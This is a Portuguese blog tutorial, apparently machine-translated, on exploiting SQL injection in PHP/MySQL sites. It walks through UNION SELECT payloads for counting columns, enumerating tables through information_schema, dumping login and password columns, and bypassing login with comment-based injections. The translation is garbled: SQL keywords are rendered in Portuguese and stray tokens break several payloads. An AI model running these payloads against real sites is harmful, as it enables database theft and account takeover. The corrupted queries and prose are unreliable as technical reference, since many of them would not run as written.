Explorando SQL Injection

Written By jr750ac on quarta-feira, 2 de setembro de 2015 | 19:10

Vulnerabilidade Pesquisa




A fim de determinar a vulnerabilidade, precisamos entender o que está acontecendo. 
E assim, vamos (ou melhor, não tinha, mas no lado do servidor) * tem um script que acessa um banco de dados usando o método GET para obter qualquer parâmetro, como dados do usuário. Suponha que ele se parece como se segue (mais uma vez, que o script está no servidor, isto é, o seu conteúdo, não vemos esse exemplo - uma demonstração do que está acontecendo em um servidor vulnerável) *:
Código

$ Id = $ _GET ['id']; 
$ Zapros = mysql_query ("SELECT * FROM usuários ONDE id = $ id");

Vemos que a variável $ id para digitar caracteres que estão contidos na barra de endereço depois de "? Id =", antes do final do pedido ou para o símbolo &. Por exemplo: site.com/user.php?id=1
A variável $ id para a unidade cair. E a consulta na base de dados seria:
Código
SELECT * FROM utilizadores WHERE id = 1

O que acontece se você quebrar a lógica da consulta? Por exemplo, colocar aspas: site.com/user.php?id=1 '
As consultas ao banco de dados leva a seguinte forma: 
Código
SELECT * FROM utilizadores WHERE id = 1 '

Neste caso, os músculos não entendo o pedido (haverá um erro de sintaxe) * e confundir, algo como 
Citação
Você tem um erro em sua sintaxe SQL verifique o manual que corresponde ao seu servidor MySQL versão para o direito de utilizar sintaxe próximo a '1' '

Citações de substituição, de fato, pode fornecer as seguintes opções: Exibe erro como acima. Isso significa que não há filtragem de parâmetros de entrada, a possibilidade de introduzir o seu pedido.
O erro não é geralmente distorce a página inteira ou parte dela. Neste caso, talvez, apenas fora do erro de saída nas configurações do PHP. Tenha injeção possível.
Nada muda. Em vez disso, os dados de entrada é filtrado, e não há injeções.

Assim, para encontrar uma injeção como parâmetro GET, você precisa de todos os parâmetros na barra de endereços (GET-zaporsy) * colocar aspas. Mas note que se o user.php? Id = 1 injeção não, e user.php? Id = 2, não será exato, porque vulnerabilidade verifica o id, ao invés de seu valor numérico.

Falando de valores. Os parâmetros podem ser, mas não só numérico, por exemplo, texto:
Código
site.com/user.php?name=admin

E pode parecer tão: 
Código
site.com/user/name/id/1/

Portanto, não seja tímido - aspas colocados onde quer que haja uma chance de obter um pedido ao banco de dados. 
Por exemplo, com parâmetros GET como entendido. 

Agora POST parâmetro. 
Como você se lembra, na opção de post é também geralmente se os dados inseridos no usuário comum, como uma forma de pesquisa ou autorização. Neste caso, a barra de endereços do navegador parecia, e vai olhar para isso, nós introduzimos estes passaram despercebidos pelo banco de dados. Processo de disponibilidade questão vai, na sua essência, o mesmo que no método de transmissão de GET.

BISCOITOS 
Da mesma forma, verifique com o parâmetro POST de upload, será necessário adicionar os valores de dados de cookies, que teoricamente podem causar um erro no sql-query. Nós usamos cookies de edição (como editar os cookies no navegador Opera) *, colocar aspas e atualizar a página.

Na verdade, ainda mais se concentrar apenas no método de transferência de dados via GET, uma vez que princípios de matrizes de GET, POST e Cookies idênticos, exceto talvez o olhar. Com o geth será mais claramente (para o valor transmitido é exibido na barra de endereço). *

Pequeno conclusão: encontrar vulnerabilidades tecnicamente o mesmo para qualquer método de transmissão da acima - é necessário para causar um erro no sql-query, quebrando sua lógica. Quero esclarecer que este que eu estou falando sobre uma vulnerabilidade manual de examiná-lo em consulta "SELECT".

Explorando SQL Injection-

Operação SQLI realizada utilizando instrução SQL «SELECCIONAR», QUE É USADO PARA EXTRAIR DADOS DE UMA OU MAIS FILEIRAS DE MESAS.
Para combinar operador de consulta é utilizado «união» 
Assim como consultas SELECT, vamos ser mais do que um (um é inicialmente no script, introduzimos um outro), então o operador, sem isso, não pode dispensar. 
No entanto, para o trabalho correto do pacote UNIÃO + SELECIONAR requer que o número de colunas no SELECT-consultas para a União e depois foi o mesmo. Deixe-me explicar com um exemplo.
Inicialmente nosso sql-consulta como esta: 
Código
$ Zapros = mysql_query ("SELECT * FROM usuários ONDE id = $ id"); 

Dadas as vulnerabilidades, queremos terminar o pedido: 
site.com/user.php?id=1+UNION+SELECT+1 
Agora o nosso-consulta SQL tem o seguinte formato: 
Código
$ Zapros = mysql_query ("SELECT * FROM usuários ONDE id = 1 + UNIÃO + Select + 1");

Ie temos 2 SELECT consulta, e da União, que os une. Este é solicitar carga corretamente, você precisa para o número de colunas nas tabelas (no nosso caso - em que os usuários de mesa) * na primeira e segunda consulta SELECT jogo consulta SELECT. Assim, a primeira tarefa que nos confronta depois de encontrar lamentação - determinação do número de colunas.

O projeto "ordem + por + número" Classifica as linhas da tabela de dados resultante sobre os parâmetros numéricos especificados (de parâmetros - o número da coluna que deseja ordenar) *. 
Se o pedido site.com/user.php?id=1+order+by+10+--+~~MD~~aux obter um erro, a coluna é inferior a 10 (isto é, que especifica uma coluna inexistente) *. Se nenhum erro - a coluna de 10 ou mais. Continuamos para alterar o valor, contanto que encontrar o número exato de colunas na tabela. Deixe-me explicar mais claramente:


site.com/user.php?id=1+order+by+20 
Eu tinha o erro? Então, a coluna é menos tentar reduzir o número (de todos racional aumento ou diminuição é sempre 2 vezes) *:

site.com/user.php?id=1+order+by+10 
Novamente, o erro. Continua a diminuir

site.com/user.php?id=1+order+by+5 
Nenhum erro. Isso significa 5 ou mais. Desde 10 já rejeitou (nós definitivamente menos de 10), você pode ter aumentado a um, até que o erro
site.com/user.php?id=1+order+by+6 
Se a falha ocorre, em seguida, o valor anterior é maximizada, ou seja, o número de colunas neste exemplo - 5.

Espero que o princípio da selecção de número de colunas é clara. Vá em frente.

Para retirar-se do banco de dados todas as informações necessárias para determinar variável do  campo (aqui temos o autor de divergências, eu prefiro chamá-los de campos O) *, através do qual isto pode ser feito (esta é a área da página, que exibe os dados a partir da base de dados) *. Para esta solicitação formar o seguinte (não se esqueça que temos 5 campos):
site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5 

Por favor, note que tenho posto diante de um sinal de menos. Logicamente, pode-se supor que o identificador do usuário -1 existe, no entanto, a tela irá mostrar um mínimo de informação e resultados de nosso pedido, o que vem depois id = -1 será mais perceptível.
Como resultado deste pedido, a página deve ser exibida em qualquer número de 1 a 5, e esses números serão os nossos campos de impressão. Suponha que tenhamos uma figura na página 2.

Inicialmente, eu recomendo a retirar-se do banco de dados, as seguintes informações: 
O banco de dados atual - o banco de dados da equipe () 
MySQL usuário atual - o usuário comando () 
A versão atual do banco de dados - uma versão equipa () 
Especialmente importante é a informação a partir do último comando - versão (). Baseado no fato de que isso vai mostrar que a equipe irá construir e ainda mais ação.

Substitua o nosso inquérito deve ser o lugar desses números que foram removidos como um campo de impressão (em vez de dois, neste caso): 
site.com/user.php?id=-1+UNION+SELECT+1,version(),3,4,5 

No lugar dos dois na página será impressa versão do MySQL de banco de dados (ou seja, o resultado da versão ()) *. 
Se a versão 5 e superiores, você está na sorte. Se 4 - não muito. Se 3 - o general chegou.
Na verdade, eu, pessoalmente, tenho 3 filial mesmo nunca visto, de modo que escrever sobre ele não vai. A diferença fundamental para nós entre os ramos - a aparência do information_schema de base, que contém a estrutura de toda a base de dados. ^^
É necessário fazer uma reserva, que somos nós estamos falando sobre o SGBD MySQL, como o mais comum. Em diferentes bases de dados utilizadas por várias equipes. Identificar os recursos das injeções em diferentes versões do banco de dados diferente - um tema para alguns artigos, por isso neste momento dispensar técnicas comuns em um sistema de gerenciamento de banco de dados *.
Deixe-me lembrá-lo que cada banco de dados tem uma tabela consiste em colunas. Ordem de partida

A determinação da estrutura da base de dados 
Versão MySQL 5.xx 
Qualquer banco de dados quinto ramo inclui necessariamente o information_schema base padrão, que são tabelas e colunas padrão, é para nós absolutamente nenhum valor (exceto para as informações em nome de outras tabelas e colunas em-los). * 
Exibir nomes de tabelas: 
site.com/user.php?id=-1+UNION+SELECT+1,group_concat (table_name), 3,4,5 + de + information_schema.tables + +, onde table_schema! = 0x696e666f726d6174696f6e5f736368656d61 

Essa consulta exibe todos (group_concat) tabela (table_name) de information_schema.tables (tabelas de banco de informações), onde o nome da tabela de banco de dados (table_schema) não é (! =) Information_schema 
0x696e666f726d6174696f6e5f736368656d61 - é "information_schema" no valor hexadecimal. Como eu uso o local x3k.ru. conversor

Restrições (e muitas vezes bastante perceptível), a saída não é mais do que 1.024 caracteres de cada vez, por isso depois group_concat (table_name) não pode retirar todas as mesas. A saída analógica pode servir para projetar limite, o que permite exibir um registro (no nosso caso - o nome da tabela) para seu pedido.
Por exemplo, a consulta 
limite site.com/user.php?id=-1+UNION+SELECT+1,table_name,3,4,5+from+information_schema.tables+ + 0,1 
vai nos trazer para a mesa 1, 
limite de + 1,1 - segundo, limite de + 2,1 - o terceiro e assim por diante ... 
Desmarque a grau que se você seria 50 tabelas no banco de dados, display vrukopashku você simplesmente tormento) Por conseguinte, o roteiro para a saída do "limite" está esperando por você no Apêndice 1. * 

Então  todas as tabelas no banco de dados, selecione a tabela de interesse para nós, por exemplo, é chamado de usuários (precisamos também suas senhas). Agora, precisamos determinar o nome de qualquer coluna (colunas) da tabela. Torna-se quase da mesma maneira:
site.com/user.php?id=-1+UNION+SELECT+1,group_concat~~number=plural (column_name), 3,4,5 + de + INFORMATION_SCHEMA.COLUMNS + +, onde table_name = usuários 

A lógica do pedido, eu espero, é claro - é quase idêntico ao do pedido anterior. Apenas acrescentou a condição de que o nome da tabela - usuários (+ onde table_name = usuários), porque queremos obter os dados por causa disso. Aqui, como regra geral, o comprimento de GROUP_CONCAT absolutamente suficiente porque o número de colunas é geralmente pequena. Suponha que, neste caso, a coluna chamada login e passar.

Então, nós determinamos a estrutura do banco de dados, e descobrimos o nome das tabelas e colunas desejadas: a tabela de usuários contém colunas login e passar. A fase final do épico - saída. Nós fazemos o seguinte pedido:
site.com/user.php?id=-1+UNION+SELECT+1,group_concat(login,0x3b,pass),3,4,5+from+users 

Neste caso, todos os valores são apresentados para colunas de login e passar a tabela de administração, 0x3B é usado como um separador entre os mesmos (para facilitar a leitura, é equivalente ao ponto e vírgula). 
Todos os dados em nossas mãos. Novamente, usamos o limite, se é impossível para exibir todos de uma vez. Mas, geralmente, o login ea senha do administrador está no início da tabela, sendo que a contagem de caracteres existente deve ser suficiente. *

Versão MySQL 4.xx 
O quarto ramo conscientemente escrevendo após o quinto, era mais fácil para os iniciantes a navegar. 
Como já mencionado, a chave para nós é a diferença entre 4 e 5 versões - information_schema. A versão 5 - há 4 - não. Isso cria dificuldades para nós. Vou descrever a forma mais primitiva, e os outros - o tema de um outro artigo, por complicado: D.
Assim, na ausência de information_schema, não podemos simplesmente ir e obter os nomes de tabelas e colunas, como simplesmente a lugar nenhum. A maneira mais fácil de tentar adivinhar. Para começar tentar adivinhar o nome da tabela:
usuário site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+ 

Se o erro tem caído - não adivinhou. Alterar o nome da tabela:
logins site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+~~number=plural 

E assim até que o erro não está perdida. Neste caso, o trabalho virtual sem consulta de erro:
usuários site.com/user.php?id=-1+UNION+SELECT+1,2,3,4,5+from+~~number=plural 

Isso é o nome da tabela - utilizadores. Agora você tem que adivinhar os nomes das colunas. Agimos de forma semelhante à lógica anterior:
site.com/user.php?id=-1+UNION+SELECT+1, nome, 3,4,5 + de usuários + 

Error. Tente outra coisa:
site.com/user.php?id=-1+union+SELECT+1, admin_login, 3,4,5 + de usuários + 

Tentativa de ... Mais falhou: 
site.com/user.php?id=-1+UNION+SELECT+1, login, 3,4,5 + de + usuários 

Há um contacto! Da mesma forma, supondo que a coluna de senha.
Exibe o conteúdo das colunas é semelhante ao ramo derivação 5. 

Sobre as especificidades de senhas obtidas diretamente do banco de dados será discutido no Anexo 3 (porque não é bastante as senhas e seus emails) * 

Francamente, a seleção dos nomes de tabelas e colunas exercer muito ... Brutus manipula extremamente estúpido, você sabe)) Claro, vale a pena tentar opções despretensioso esses usuários, logins, etc., mas sem fanatismo. Se as tentativas de adivinhar os nomes de 3-4 não podia ser razoável que recorrer a alguma automação. O roteiro para nomes de Brutus de tabelas e colunas é dada no Apêndice 1. *

Devemos também mencionar a presença de injeção sob a forma de autorização. 
Suponha-se que o pedido para o banco de dados será parecido com este (mais uma vez, no lado do servidor e é invisível para nós ... aqui é apenas um exemplo) *: 
Código
mysql_query ("SELECT * FROM usuários ONDE login = $ login e passar = $ password");

Se houver uma injeção através do campo de login e não filtrada variável $ login, consulta sobre a linha onde o login for inserido, você pode fazer isso: Admin '+ - + 
Então voar para a consulta de banco de dados 
Código
mysql_query ("SELECT * FROM usuários ONDE login = Admin '+ - + e passar = $ password");

Assim, o banco de dados receberá apenas nome de usuário, senha verificação será descartado usando o MySQL comentário "-" (pros - são substituídos por espaços By the way, antes e após o comentário. "-"  sempre colocá-los). * E viola - Nós administradores (claro, se o mesmo login de administrador) *.
Se não filtrada estes campos para digitar a senha, a solicitação neste campo será o 123 '+ ou + login =' admin ' 
Consultar o banco de dados, neste caso: 
Código
mysql_query ("SELECT * FROM usuários ONDE login = $ login e passar = 123 '+ ou + login =' admin ');

Assim, a autenticação é por login de administrador de acordo com a lógica da expressão "ou". 

Uma pequena adição ao tema. 
Comentários símbolos, que são utilizados no MySQL: 
Código
/ * 
+ - + (Sinal de mais é equivalente ao carácter de espaço) 
#

Elas são necessárias, a fim de descartar o que é após o nosso pedido. Muitas vezes é necessário, portanto, se algo não vai - colocar (me) esses personagens - há uma chance de que as coisas vão melhorar.
Amostra de consulta: 
site.com/user.php?id=-1+UNION+SELECT+1,pass,3,4,5+from+admin+--+[/left]


Conclusão por jR *
Praticar

Claro, uma saudável e engolir um tema tão complexo desde a primeira leitura é impossível, e sem a prática e compreensão de todos leitura - e mais ainda. A formação prática sobre o tema dedicado à adição 2.

O tema é grande tópico, complicado, não se desespere se você fizer algo errado, porque aqui o tema do SQL-injeções, e um quarto não é divulgada Então você definitivamente tem que ir. Alguns tópicos secundários serão abordados em adições posteriores, bem como o Conselho para obter a mão para realizar a injeção mais simples (isto foi um pouco maior).

0 comentários :

Postar um comentário